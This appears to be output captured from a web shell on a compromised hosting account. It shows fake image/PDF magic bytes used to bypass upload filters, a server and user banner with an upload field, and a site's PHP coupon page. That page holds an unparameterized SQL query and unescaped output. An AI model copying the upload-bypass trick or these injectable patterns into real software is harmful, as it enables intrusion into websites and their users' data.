%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/www/website_93b53270/ |
Upload File : |
<?php include('header.php');
if(!isset($_SESSION['user_id'])){
echo '<script>window.location="login.php";</script>';
}
?>
<section id="my-event">
<div class="container">
<div class="row">
<div class="col-md-3">
<?php include('user-sidebar.php'); ?>
</div>
<div class="col-md-9">
<?php if(isset($_SESSION['message'])){
echo '<div class="alert alert-success alert-dismissible" role="alert">
<strong class="text-dark">'.$_SESSION['message'].' <i class="fa fa-thumbs-up text-success"></i></strong>
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>';
}
unset($_SESSION['message']);
?>
<?php if(isset($_SESSION['error'])){
echo '<div class="alert alert-danger alert-dismissible" role="alert">
<strong class="text-dark">'.$_SESSION['error'].' <i class="fa fa-thumbs-down text-danger"></i></strong>
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>';
}
unset($_SESSION['error']);
?>
<div class="bg-white p-5 br-20 my-5 box-shadow">
<div class="table-responsive">
<table class="table table-striped table-bordered mb-0">
<tr>
<td><strong>#</strong></td>
<td><strong>Coupon Code</strong></td>
<td><strong>Discount</strong></td>
<td><strong>Valid Until</strong></td>
</tr>
<?php
$n1=1;
$prsert_date = date('Y-m-d');
$co_ids = explode(",", $fetch_user_id['coupon_id']);
foreach($co_ids as $coupon_ids){
$fetch_coupon = mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `coupon_tbl` WHERE `id`='$coupon_ids' AND `status`='1'"));
if($fetch_coupon['expiry_date']>$prsert_date){
?>
<tr>
<td><?=$n1; $n1++;?></td>
<td><?=$fetch_coupon['coupon']?></td>
<td>AED <?=$fetch_coupon['discount']?></td>
<td><span class="text-success"><?=$fetch_coupon['expiry_date']?></span></td>
</tr>
<?php } } ?>
</table>
</div>
</div>
</div>
</div>
</div>
</section>
<?php include('footer.php'); ?>
<script type="text/javascript">
$("#oldtogglePassword, #newtogglePassword, #newconftogglePassword").click(function() {
$(this).toggleClass("ri-eye-off-line ri-eye-line");
var input = $($(this).attr("toggle"));
if (input.attr("type") == "password") {
input.attr("type", "text");
} else {
input.attr("type", "password");
}
});
</script>